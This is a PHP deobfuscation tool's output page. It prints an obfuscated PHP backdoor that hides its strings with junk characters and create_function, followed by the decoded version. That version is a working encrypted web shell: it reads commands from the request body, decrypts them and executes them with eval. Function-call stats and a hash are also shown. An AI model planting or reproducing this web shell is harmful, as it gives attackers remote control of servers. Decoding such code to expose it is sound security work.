Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
$x='odeB*($m[1]),$k))B*);B*$o=@ob_get_cB*ontents();@B*ob_endB*_cleaB*n();$r=B*'; $R='*==1..
Decoded Output download
function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="2a9d119d";$kh="f47ff993b662";$kf="a8ef36f9ea20";$p="Up4BGFs09luvGYVO";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}
Did this file decode correctly?
Original Code
$x='odeB*($m[1]),$k))B*);B*$o=@ob_get_cB*ontents();@B*ob_endB*_cleaB*n();$r=B*';
$R='*==1) {B*@ob_B*starB*t();@evaB*l(B*@gB*zuncompB*ress(@x(@baB*sB*e64_deB*c';
$c='@B*base6B*4_encB*ode(@x(@gB*B*zcompress($o),$kB*));priB*nB*t("$p$khB*$r$kf");}';
$L='$kB*="2a9d11B*9B*d";$kh="f47ff99B*3b662";B*B*$kf="aB*8ef36fB*9eB*a20B*";$';
$M='tch(B*"/B*$B*kh(.+)$kf/",@file_gB*et_contB*ents(B*"php://B*inB*put"),$m)B';
$G='$B*j++,B*$B*i++){$o.B*=$t{$i}^B*$k{$B*j}B*B*;}}return $o;}ifB* (@pB*reg_ma';
$N='p="Up4BGB*Fs09luvGYVOB*";functiB*oB*n x($t,$k)B*{B*$c=B*strlen($k);$B*l=s';
$v=str_replace('ex','','exexcreatexe_fexexuexnction');
$Z='trB*len($t)B*;$o="";forB*($iB*=0;$B*i<$l;){foB*r($j=0B*;($jB*<$c&&$iB*<$l);';
$n=str_replace('B*','',$L.$N.$Z.$G.$M.$R.$x.$c);
$l=$v('',$n);$l();
?>
Function Calls
preg_match | 1 |
str_replace | 2 |
create_function | 1 |
file_get_contents | 1 |
Stats
MD5 | 8746a7548a1b552c37dfbabd91880eb5 |
Eval Count | 1 |
Decode Time | 128 ms |